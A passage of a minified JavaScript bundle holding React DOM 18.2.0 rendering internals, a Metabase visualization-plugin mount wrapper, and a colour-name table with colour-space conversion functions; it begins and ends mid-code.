6:return e===null&&Ta(t),null;case 13:return Js(e,t,n);case 4:return bo(t,t.stateNode.containerInfo),i=t.pendingProps,e===null?t.child=po(t,null,i,n):Fs(e,t,i,n),t.child;case 11:return i=t.type,a=t.pendingProps,a=t.elementType===i?a:Ma(i,a),Is(e,t,i,a,n);case 7:return Fs(e,t,t.pendingProps,n),t.child;case 8:return Fs(e,t,t.pendingProps.children,n),t.child;case 12:return Fs(e,t,t.pendingProps.children,n),t.child;case 10:a:{if(i=t.type._context,a=t.pendingProps,o=t.memoizedProps,s=a.value,Vi(Na,i._currentValue),i._currentValue=s,o!==null)if(Sr(o.value,s)){if(o.children===a.children&&!Wi.current){t=nc(e,t,n);break a}}else for(o=t.child,o!==null&&(o.return=t);o!==null;){var c=o.dependencies;if(c!==null){s=o.child;for(var l=c.firstContext;l!==null;){if(l.context===i){if(o.tag===1){l=Ya(-1,n&-n),l.tag=2;var u=o.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?l.next=l:(l.next=d.next,d.next=l),u.pending=l}}o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),za(o.return,n,t),c.lanes|=n;break}l=l.next}}else if(o.tag===10)s=o.type===t.type?null:o.child;else if(o.tag===18){if(s=o.return,s===null)throw Error(r(341));s.lanes|=n,c=s.alternate,c!==null&&(c.lanes|=n),za(s,n,t),s=o.sibling}else s=o.child;if(s!==null)s.return=o;else for(s=o;s!==null;){if(s===t){s=null;break}if(o=s.sibling,o!==null){o.return=s.return,s=o;break}s=s.return}o=s}Fs(e,t,a.children,n),t=t.child}return t;case 9:return a=t.type,i=t.pendingProps.children,Ba(t,n),a=Va(a),i=i(a),t.flags|=1,Fs(e,t,i,n),t.child;case 14:return i=t.type,a=Ma(i,t.pendingProps),a=Ma(i.type,a),Ls(e,t,i,a,n);case 15:return Rs(e,t,t.type,t.pendingProps,n);case 17:return i=t.type,a=t.pendingProps,a=t.elementType===i?a:Ma(i,a),tc(e,t),t.tag=1,qi(i)?(e=!0,Zi(t)):e=!1,Ba(t,n),ao(t,i,a),so(t,i,a,n),Us(null,t,i,!0,e,n);case 19:return ec(e,t,n);case 22:return zs(e,t,n)}throw Error(r(156,t.tag))};function Jl(e,t){return z(e,t)}function Yl(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Xl(e,t,n,r){return new Yl(e,t,n,r)}function Zl(e){return e=e.prototype,!(!e||!e.isReactComponent)}function Ql(e){if(typeof e==`function`)return+!!Zl(e);if(e!=null){if(e=e.$$typeof,e===j)return 11;if(e===M)return 14}return 2}function $l(e,t){var n=e.alternate;return n===null?(n=Xl(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function eu(e,t,n,i,a,o){var s=2;if(i=e,typeof e==`function`)Zl(e)&&(s=1);else if(typeof e==`string`)s=5;else a:switch(e){case E:return tu(n.children,a,o,t);case D:s=8,a|=8;break;case O:return e=Xl(12,n,t,a|2),e.elementType=O,e.lanes=o,e;case ee:return e=Xl(13,n,t,a),e.elementType=ee,e.lanes=o,e;case te:return e=Xl(19,n,t,a),e.elementType=te,e.lanes=o,e;case re:return nu(n,a,o,t);default:if(typeof e==`object`&&e)switch(e.$$typeof){case k:s=10;break a;case A:s=9;break a;case j:s=11;break a;case M:s=14;break a;case ne:s=16,i=null;break a}throw Error(r(130,e==null?e:typeof e,``))}return t=Xl(s,n,t,a),t.elementType=e,t.type=i,t.lanes=o,t}function tu(e,t,n,r){return e=Xl(7,e,r,t),e.lanes=n,e}function nu(e,t,n,r){return e=Xl(22,e,r,t),e.elementType=re,e.lanes=n,e.stateNode={isHidden:!1},e}function ru(e,t,n){return e=Xl(6,e,null,t),e.lanes=n,e}function iu(e,t,n){return t=Xl(4,e.children===null?[]:e.children,e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function au(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Nt(0),this.expirationTimes=Nt(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Nt(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function ou(e,t,n,r,i,a,o,s,c){return e=new au(e,t,n,s,c),t===1?(t=1,!0===a&&(t|=8)):t=0,a=Xl(3,null,null,t),e.current=a,a.stateNode=e,a.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},qa(a),e}function su(e,t,n){var r=3<arguments.length&&arguments[3]!==void 0?arguments[3]:null;return{$$typeof:T,key:r==null?null:``+r,children:e,containerInfo:t,implementation:n}}function cu(e){if(!e)return Hi;e=e._reactInternals;a:{if(R(e)!==e||e.tag!==1)throw Error(r(170));var t=e;do{switch(t.tag){case 3:t=t.stateNode.context;break a;case 1:if(qi(t.type)){t=t.stateNode.__reactInternalMemoizedMergedChildContext;break a}}t=t.return}while(t!==null);throw Error(r(171))}if(e.tag===1){var n=e.type;if(qi(n))return Xi(e,n,t)}return t}function lu(e,t,n,r,i,a,o,s,c){return e=ou(n,r,!0,e,i,a,o,s,c),e.context=cu(null),n=e.current,r=gl(),i=_l(n),a=Ya(r,i),a.callback=t??null,Xa(n,a,i),e.current.lanes=i,Pt(e,i,r),yl(e,r),e}function uu(e,t,n,r){var i=t.current,a=gl(),o=_l(i);return n=cu(n),t.context===null?t.context=n:t.pendingContext=n,t=Ya(a,o),t.payload={element:e},r=r===void 0?null:r,r!==null&&(t.callback=r),e=Xa(i,t,o),e!==null&&(vl(e,i,o,a),Za(e,i,o)),o}function du(e){if(e=e.current,!e.child)return null;switch(e.child.tag){case 5:return e.child.stateNode;default:return e.child.stateNode}}function fu(e,t){if(e=e.memoizedState,e!==null&&e.dehydrated!==null){var n=e.retryLane;e.retryLane=n!==0&&n<t?n:t}}function pu(e,t){fu(e,t),(e=e.alternate)&&fu(e,t)}function mu(){return null}var hu=typeof reportError==`function`?reportError:function(e){console.error(e)};function gu(e){this._internalRoot=e}_u.prototype.render=gu.prototype.render=function(e){var t=this._internalRoot;if(t===null)throw Error(r(409));uu(e,t,null,null)},_u.prototype.unmount=gu.prototype.unmount=function(){var e=this._internalRoot;if(e!==null){this._internalRoot=null;var t=e.containerInfo;Dl(function(){uu(null,e,null,null)}),t[ki]=null}};function _u(e){this._internalRoot=e}_u.prototype.unstable_scheduleHydration=function(e){if(e){var t=Bt();e={blockedOn:null,target:e,priority:t};for(var n=0;n<Yt.length&&t!==0&&t<Yt[n].priority;n++);Yt.splice(n,0,e),n===0&&en(e)}};function vu(e){return!(!e||e.nodeType!==1&&e.nodeType!==9&&e.nodeType!==11)}function yu(e){return!(!e||e.nodeType!==1&&e.nodeType!==9&&e.nodeType!==11&&(e.nodeType!==8||e.nodeValue!==` react-mount-point-unstable `))}function bu(){}function xu(e,t,n,r,i){if(i){if(typeof r==`function`){var a=r;r=function(){var e=du(o);a.call(e)}}var o=lu(t,r,e,0,null,!1,!1,``,bu);return e._reactRootContainer=o,e[ki]=o.current,ri(e.nodeType===8?e.parentNode:e),Dl(),o}for(;i=e.lastChild;)e.removeChild(i);if(typeof r==`function`){var s=r;r=function(){var e=du(c);s.call(e)}}var c=ou(e,0,!1,null,null,!1,!1,``,bu);return e._reactRootContainer=c,e[ki]=c.current,ri(e.nodeType===8?e.parentNode:e),Dl(function(){uu(t,c,n,r)}),c}function Su(e,t,n,r,i){var a=n._reactRootContainer;if(a){var o=a;if(typeof i==`function`){var s=i;i=function(){var e=du(o);s.call(e)}}uu(t,o,e,i)}else o=xu(n,t,e,i,r);return du(o)}Rt=function(e){switch(e.tag){case 3:var t=e.stateNode;if(t.current.memoizedState.isDehydrated){var n=Dt(t.pendingLanes);n!==0&&(G(t,n|1),yl(t,H()),!(Wc&6)&&(il=H()+500,ia()))}break;case 13:Dl(function(){var t=Ga(e,1);t!==null&&vl(t,e,1,gl())}),pu(e,1)}},K=function(e){if(e.tag===13){var t=Ga(e,134217728);t!==null&&vl(t,e,134217728,gl()),pu(e,134217728)}},zt=function(e){if(e.tag===13){var t=_l(e),n=Ga(e,t);n!==null&&vl(n,e,t,gl()),pu(e,t)}},Bt=function(){return It},Vt=function(e,t){var n=It;try{return It=e,t()}finally{It=n}},Ge=function(e,t,n){switch(t){case`input`:if(Ce(e,n),t=n.name,n.type===`radio`&&t!=null){for(n=e;n.parentNode;)n=n.parentNode;for(n=n.querySelectorAll(`input[name=`+JSON.stringify(``+t)+`][type="radio"]`),t=0;t<n.length;t++){var i=n[t];if(i!==e&&i.form===e.form){var a=Ii(i);if(!a)throw Error(r(90));ve(i),Ce(i,a)}}}break;case`textarea`:Ae(e,n);break;case`select`:t=n.value,t!=null&&De(e,!!n.multiple,t,!1)}},Ze=El,Qe=Dl;var Cu={usingClientEntryPoint:!1,Events:[Pi,Fi,Ii,Ye,Xe,El]},wu={findFiberByHostInstance:Ni,bundleType:0,version:`18.2.0`,rendererPackageName:`react-dom`},Tu={bundleType:wu.bundleType,version:wu.version,rendererPackageName:wu.rendererPackageName,rendererConfig:wu.rendererConfig,overrideHookState:null,overrideHookStateDeletePath:null,overrideHookStateRenamePath:null,overrideProps:null,overridePropsDeletePath:null,overridePropsRenamePath:null,setErrorHandler:null,setSuspenseHandler:null,scheduleUpdate:null,currentDispatcherRef:C.ReactCurrentDispatcher,findHostInstanceByFiber:function(e){return e=dt(e),e===null?null:e.stateNode},findFiberByHostInstance:wu.findFiberByHostInstance||mu,findHostInstancesForRefresh:null,scheduleRefresh:null,scheduleRoot:null,setRefreshHandler:null,getCurrentFiber:null,reconcilerVersion:`18.2.0-next-9e3b772b8-20220608`};if(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__<`u`){var Eu=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(!Eu.isDisabled&&Eu.supportsFiber)try{yt=Eu.inject(Tu),bt=Eu}catch{}}e.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=Cu,e.createPortal=function(e,t){var n=2<arguments.length&&arguments[2]!==void 0?arguments[2]:null;if(!vu(t))throw Error(r(200));return su(e,t,null,n)},e.createRoot=function(e,t){if(!vu(e))throw Error(r(299));var n=!1,i=``,a=hu;return t!=null&&(!0===t.unstable_strictMode&&(n=!0),t.identifierPrefix!==void 0&&(i=t.identifierPrefix),t.onRecoverableError!==void 0&&(a=t.onRecoverableError)),t=ou(e,1,!1,null,null,n,!1,i,a),e[ki]=t.current,ri(e.nodeType===8?e.parentNode:e),new gu(t)},e.findDOMNode=function(e){if(e==null)return null;if(e.nodeType===1)return e;var t=e._reactInternals;if(t===void 0)throw typeof e.render==`function`?Error(r(188)):(e=Object.keys(e).join(`,`),Error(r(268,e)));return e=dt(t),e=e===null?null:e.stateNode,e},e.flushSync=function(e){return Dl(e)},e.hydrate=function(e,t,n){if(!yu(t))throw Error(r(200));return Su(null,e,t,!0,n)},e.hydrateRoot=function(e,t,n){if(!vu(e))throw Error(r(405));var i=n!=null&&n.hydratedSources||null,a=!1,o=``,s=hu;if(n!=null&&(!0===n.unstable_strictMode&&(a=!0),n.identifierPrefix!==void 0&&(o=n.identifierPrefix),n.onRecoverableError!==void 0&&(s=n.onRecoverableError)),t=lu(t,null,e,1,n??null,a,!1,o,s),e[ki]=t.current,ri(e),i)for(e=0;e<i.length;e++)n=i[e],a=n._getVersion,a=a(n._source),t.mutableSourceEagerHydrationData==null?t.mutableSourceEagerHydrationData=[n,a]:t.mutableSourceEagerHydrationData.push(n,a);return new _u(t)},e.render=function(e,t,n){if(!yu(t))throw Error(r(200));return Su(null,e,t,!1,n)},e.unmountComponentAtNode=function(e){if(!yu(e))throw Error(r(40));return e._reactRootContainer?(Dl(function(){Su(null,null,e,!1,function(){e._reactRootContainer=null,e[ki]=null})}),!0):!1},e.unstable_batchedUpdates=El,e.unstable_renderSubtreeIntoContainer=function(e,t,n,i){if(!yu(n))throw Error(r(200));if(e==null||e._reactInternals===void 0)throw Error(r(38));return Su(e,t,n,!1,i)},e.version=`18.2.0-next-9e3b772b8-20220608`})),c=t(((e,t)=>{function n(){if(!(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__>`u`||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!=`function`))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(n)}catch(e){console.error(e)}}n(),t.exports=s()})),l=t((e=>{var t=c();e.createRoot=t.createRoot,e.hydrateRoot=t.hydrateRoot})),u=t((e=>{var t=i(),n=Symbol.for(`react.element`),r=Object.prototype.hasOwnProperty,a=t.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,o={key:!0,ref:!0,__self:!0,__source:!0};function s(e,t,i){var s,c={},l=null,u=null;for(s in i!==void 0&&(l=``+i),t.key!==void 0&&(l=``+t.key),t.ref!==void 0&&(u=t.ref),t)r.call(t,s)&&!o.hasOwnProperty(s)&&(c[s]=t[s]);if(e&&e.defaultProps)for(s in t=e.defaultProps,t)c[s]===void 0&&(c[s]=t[s]);return{$$typeof:n,type:e,key:l,ref:u,props:c,_owner:a.current}}e.jsx=s,e.jsxs=s})),d=t(((e,t)=>{t.exports=u()})),f=i(),p=l(),m=d();function h(){let e=window.__METABASE_VIZ_API__;if(!e)throw Error(`Metabase Viz API not initialized. Column type functions can only be called inside a running Metabase instance.`);return e.columnTypes}var g=e=>h().isDate(e),_=e=>h().isNumeric(e),v=(e,t)=>{let n=window.__METABASE_VIZ_API__;if(!n)throw Error(`Metabase Viz API not initialized. formatValue can only be called inside a running Metabase instance.`);return n.formatValue(e,t)},y=[`minute`,`hour`,`day`,`week`,`month`,`quarter`,`year`],b=[`minute-of-hour`,`hour-of-day`,`day-of-week`,`day-of-month`,`day-of-year`,`week-of-year`,`month-of-year`,`quarter-of-year`];[...y,...b];var x=class extends f.Component{constructor(...e){super(...e),this.state={error:null}}static getDerivedStateFromError(e){return{error:e}}componentDidCatch(e){let{message:t,stack:n}=e;console.error(`[plugin] visualization render failed: ${t}\n${n}`)}render(){return this.state.error?null:this.props.children}};function S(e){let{VisualizationComponent:t,...n}=e;return{...n,VisualizationComponent:t,mount(e,n){let r=(0,p.createRoot)(e),i=e=>{r.render((0,m.jsx)(x,{children:(0,m.jsx)(t,{...e})}))};return i(n),{update:i,unmount:()=>r.unmount()}}}}var C={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]};for(let e in C)Object.freeze(C[e]);var w=Object.freeze(C),T=Object.create(null);for(let e in w)Object.hasOwn(w,e)&&(T[w[e]]=e);var E={to:{},get:{}};E.get=function(e){let t=e.slice(0,3).toLowerCase(),n,r;switch(t){case`hsl`:n=E.get.hsl(e),r=`hsl`;break;case`hwb`:n=E.get.hwb(e),r=`hwb`;break;default:n=E.get.rgb(e),r=`rgb`;break}return n?{model:r,value:n}:null},E.get.rgb=function(e){if(!e)return null;let t=/^#([a-f\d]{3,4})$/i,n=/^#([a-f\d]{6})([a-f\d]{2})?$/i,r=/^rgba?\(\s*([+-]?(?:\d*\.)?\d+(?:e\d+)?)(?=[\s,])\s*(?:,\s*)?([+-]?(?:\d*\.)?\d+(?:e\d+)?)(?=[\s,])\s*(?:,\s*)?([+-]?(?:\d*\.)?\d+(?:e\d+)?)\s*(?:[\s,|/]\s*([+-]?(?:\d*\.)?\d+(?:e\d+)?)(%?)\s*)?\)$/i,i=/^rgba?\(\s*([+-]?[\d.]+)%\s*,?\s*([+-]?[\d.]+)%\s*,?\s*([+-]?[\d.]+)%\s*(?:[\s,|/]\s*([+-]?[\d.]+)(%?)\s*)?\)$/i,a=/^(\w+)$/,o=[0,0,0,1],s,c,l;if(s=e.match(n)){for(l=s[2],s=s[1],c=0;c<3;c++){let e=c*2;o[c]=Number.parseInt(s.slice(e,e+2),16)}l&&(o[3]=Number.parseInt(l,16)/255)}else if(s=e.match(t)){for(s=s[1],l=s[3],c=0;c<3;c++)o[c]=Number.parseInt(s[c]+s[c],16);l&&(o[3]=Number.parseInt(l+l,16)/255)}else if(s=e.match(r)){for(c=0;c<3;c++)o[c]=Number.parseFloat(s[c+1]);s[4]&&(o[3]=s[5]?Number.parseFloat(s[4])*.01:Number.parseFloat(s[4]))}else if(s=e.match(i)){for(c=0;c<3;c++)o[c]=Math.round(Number.parseFloat(s[c+1])*2.55);s[4]&&(o[3]=s[5]?Number.parseFloat(s[4])*.01:Number.parseFloat(s[4]))}else if(s=e.toLowerCase().match(a))return s[1]===`transparent`?[0,0,0,0]:Object.hasOwn(w,s[1])?(o=w[s[1]].slice(),o[3]=1,o):null;else return null;for(c=0;c<3;c++)o[c]=D(o[c],0,255);return o[3]=D(o[3],0,1),o},E.get.hsl=function(e){if(!e)return null;let t=e.match(/^hsla?\(\s*([+-]?(?:\d{0,3}\.)?\d+)(?:deg)?\s*,?\s*([+-]?[\d.]+)%\s*,?\s*([+-]?[\d.]+)%\s*(?:[,|/]\s*([+-]?(?=\.\d|\d)(?:0|[1-9]\d*)?(?:\.\d*)?(?:e[+-]?\d+)?)\s*)?\)$/i);if(t){let e=Number.parseFloat(t[4]);return[(Number.parseFloat(t[1])%360+360)%360,D(Number.parseFloat(t[2]),0,100),D(Number.parseFloat(t[3]),0,100),D(Number.isNaN(e)?1:e,0,1)]}return null},E.get.hwb=function(e){if(!e)return null;let t=e.match(/^hwb\(\s*([+-]?\d{0,3}(?:\.\d+)?)(?:deg)?\s*[\s,]\s*([+-]?[\d.]+)%\s*[\s,]\s*([+-]?[\d.]+)%\s*(?:[\s,]\s*([+-]?(?=\.\d|\d)(?:0|[1-9]\d*)?(?:\.\d*)?(?:e[+-]?\d+)?)\s*)?\)$/i);if(t){let e=Number.parseFloat(t[4]);return[(Number.parseFloat(t[1])%360+360)%360,D(Number.parseFloat(t[2]),0,100),D(Number.parseFloat(t[3]),0,100),D(Number.isNaN(e)?1:e,0,1)]}return null},E.to.hex=function(...e){return`#`+O(e[0])+O(e[1])+O(e[2])+(e[3]<1?O(Math.round(e[3]*255)):``)},E.to.rgb=function(...e){return e.length<4||e[3]===1?`rgb(`+Math.round(e[0])+`, `+Math.round(e[1])+`, `+Math.round(e[2])+`)`:`rgba(`+Math.round(e[0])+`, `+Math.round(e[1])+`, `+Math.round(e[2])+`, `+e[3]+`)`},E.to.rgb.percent=function(...e){let t=Math.round(e[0]/255*100),n=Math.round(e[1]/255*100),r=Math.round(e[2]/255*100);return e.length<4||e[3]===1?`rgb(`+t+`%, `+n+`%, `+r+`%)`:`rgba(`+t+`%, `+n+`%, `+r+`%, `+e[3]+`)`},E.to.hsl=function(...e){return e.length<4||e[3]===1?`hsl(`+e[0]+`, `+e[1]+`%, `+e[2]+`%)`:`hsla(`+e[0]+`, `+e[1]+`%, `+e[2]+`%, `+e[3]+`)`},E.to.hwb=function(...e){let t=``;return e.length>=4&&e[3]!==1&&(t=`, `+e[3]),`hwb(`+e[0]+`, `+e[1]+`%, `+e[2]+`%`+t+`)`},E.to.keyword=function(...e){return T[e.slice(0,3)]};function D(e,t,n){return Math.min(Math.max(t,e),n)}function O(e){let t=Math.round(e).toString(16).toUpperCase();return t.length<2?`0`+t:t}var k={};for(let e of Object.keys(w))k[w[e]]=e;var A={rgb:{channels:3,labels:`rgb`},hsl:{channels:3,labels:`hsl`},hsv:{channels:3,labels:`hsv`},hwb:{channels:3,labels:`hwb`},cmyk:{channels:4,labels:`cmyk`},xyz:{channels:3,labels:`xyz`},lab:{channels:3,labels:`lab`},oklab:{channels:3,labels:[`okl`,`oka`,`okb`]},lch:{channels:3,labels:`lch`},oklch:{channels:3,labels:[`okl`,`okc`,`okh`]},hex:{channels:1,labels:[`hex`]},keyword:{channels:1,labels:[`keyword`]},ansi16:{channels:1,labels:[`ansi16`]},ansi256:{channels:1,labels:[`ansi256`]},hcg:{channels:3,labels:[`h`,`c`,`g`]},apple:{channels:3,labels:[`r16`,`g16`,`b16`]},gray:{channels:1,labels:[`gray`]}},j=(6/29)**3;function ee(e){let t=e>.0031308?1.055*e**(1/2.4)-.055:e*12.92;return Math.min(Math.max(0,t),1)}function te(e){return e>.04045?((e+.055)/1.055)**2.4:e/12.92}for(let e of Object.keys(A)){if(!(`channels`in A[e]))throw Error(`missing channels property: `+e);if(!(`labels`in A[e]))throw Error(`missing channel labels property: `+e);if(A[e].labels.length!==A[e].channels)throw Error(`channel and label counts mismatch: `+e);let{channels:t,labels:n}=A[e];delete A[e].channels,delete A[e].labels,Object.defineProperty(A[e],`channels`,{value:t}),Object.defineProperty(A[e],`labels`,{value:n})}A.rgb.hsl=function(e){let t=e[0]/255,n=e[1]/255,r=e[2]/255,i=Math.min(t,n,r),a=Math.max(t,n,r),o=a-i,s,c;switch(a){case i:s=0;break;case t:s=(n-r)/o;break;case n:s=2+(r-t)/o;break;case r:s=4+(t-n)/o;break}s=Math.min(s*60,360),s<0&&(s+=360);let l=(i+a)/2;return c=a===i?0:l<=.5?o/(a+i):o/(2-a-i),[s,c*100,l*100]},A.rgb.hsv=function(e){let t,n,r,i,a,o=e[0]/255,s=e[1]/255,c=e[2]/255,l=Math.max(o,s,c),u=l-Math.min(o,s,c),d=function(e){return(l-e)/6/u+1/2};if(u===0)i=0,a=0;else{switch(a=u/l,t=d(o),n=d(s),r=d(c),l){case o:i=r-n;break;case s:i=1/3+t-r;break;case c:i=2/3+n-t;break}i<0?i+=1:i>1&&--i}return[i*360,a*100,l*100]},A.rgb.hwb=function(e){let t=e[0],n=e[1],r=e[2],i=A.rgb.hsl(e)[0],a=1/255*Math.min(t,Math.min(n,r));return r=1-1/255*Math.max(t,Math.max(n,r)),[i,a*100,r*100]},A.rgb.oklab=function(e){let t=te(e[0]/255),n=te(e[1]/255),r=te(e[2]/255),i=Math.cbrt(.4122214708*t+.5363325363*n+.0514459929*r),a=Math.cbrt(.2119034982*t+.6806995451*n+.1073969566*r),o=Math.cbrt(.0883024619*t+.2817188376*n+.6299787005*r),s=.2104542553*i+.793617785*a-.0040720468*o,c=1.9779984951*i-2.428592205*a+.4505937099*o,l=.0259040371*i+.7827717662*a-.808675766*o;return[s*100,c*100,l*100]},A.rgb.cmyk=function(e){let t=e[0]/255,n=e[1]/255,r=e[2]/255,i=Math.min(1-t,1-n,1-r),a=(1-t-i)/(1-i)||0,o=(1-n-i)/(1-i)||0,s=(1-r-i)/(1-i)||0;return[a*100,o*100,s*100,i*100]};function M(e,t){return(e[0]-t[0])**2+(e[1]-t[1])**2+(e[2]-t[2])**2}A.rgb.keyword=function(e){let t=k[e];if(t)return t;let n=1/0,r;for(let t of Object.keys(w)){let i=w[t],a=M(e,i);a<n&&(n=a,r=t)}return r},A.keyword.rgb=function(e){return[...w[e]]},A.rgb.xyz=function(e){let t=te(e[0]/255),n=te(e[1]/255),r=te(e[2]/255),i=t*.4124564+n*.3575761+r*.1804375,a=t*.2126729+n*.7151522+r*.072175,o=t*.0193339+n*.119192+r*.9503041;return[i*100,a*100,o*100]},A.rgb.lab=function(e){let t=A.rgb.xyz(e),n=t[0],r=t[1],i=t[2];return n/=95.047,r/=100,i/=108.883,n=n>j?n**(1/3):7.787*n+16/116,r=r>j?r**(1/3):7.787*r+16/116,i=i>j?i**(1/3):7.787*i+16/116,[116*r-16,500*(n-r),200*(r-i)]},A.hsl.rgb=function(e){let t=e[0]/360,n=e[1]/100,r=e[2]/100,i,a;if(n===0)return a=r*255,[a,a,a];let o=r<.5?r*(1+n):r+n-r*n,s=2*r-o,c=[0,0,0];for(let e=0;e<3;e++)i=t+1/3*-(e-1),i<0&&i++,i>1&&i--,a=6*i<1?s+(o-s)*6*i:2*i<1?o:3*i<2?s+(o-s)*(2/3-i)*6:s,c[e]=a*255;return c},A.hsl.hsv=function(e){let t=e[0],n=e[1]/100,r=e[2]/100,i=n,a=Math.max(r,.01);r*=2,n*=r<=1?r:2-r,i*=a<=1?a:2-a;let o=(r+n)/2;return[t,(r===0?2*i/(a+i):2*n/(r+n))*100,o*100]},A.hsv.rgb=function(e){let t=e[0]/60,n=e[1]/100,r=e[2]/100,i=Math.floor(t)%6,a=t-Math.floor(t),o=255*r*(1-n),s=255*r*(1-n*a),c=255*r*(1-n*(1-a));switch(r*=255,i){case 0:return[r,c,o];case 1:return[s,r,o];case 2:return[o,r,c];case 3:return[o,s,r];case 4:return[c,o,r];case 5:return[r,o,s]}},A.hsv.hsl=function(e){let t=e[0],n=e[1]/100,r=e[2]/100,i=Math.max(r,.01),a,o;o=(2-n)*r;let s=(2-n)*i;return a=n*i,a/=s<=1?s:2-s,a||=0,o/=2,[t,a*100,o*100]},A.hwb.rgb=function(e){let t=e[0]/360,n=e[1]/100,r=e[2]/100,i=n+r,a;i>1&&(n/=i,r/=i);let o=Math.floor(6*t),s=1-r;a=6*t-o,o&1&&(a=1-a);let c=n+a*(s-n),l,u,d;switch(o){default:case 6:case 0:l=s,u=c,d=n;break;case 1:l=c,u=s,d=n;break;case 2:l=n,u=s,d=c;break;case 3:l=n,u=c,d=s;break;case 4:l=c,u=n,d=s;break;case 5:l=s,u=n,d=c;break}return[l*255,u*255,d*255]},A.cmyk.rgb=function(e){let 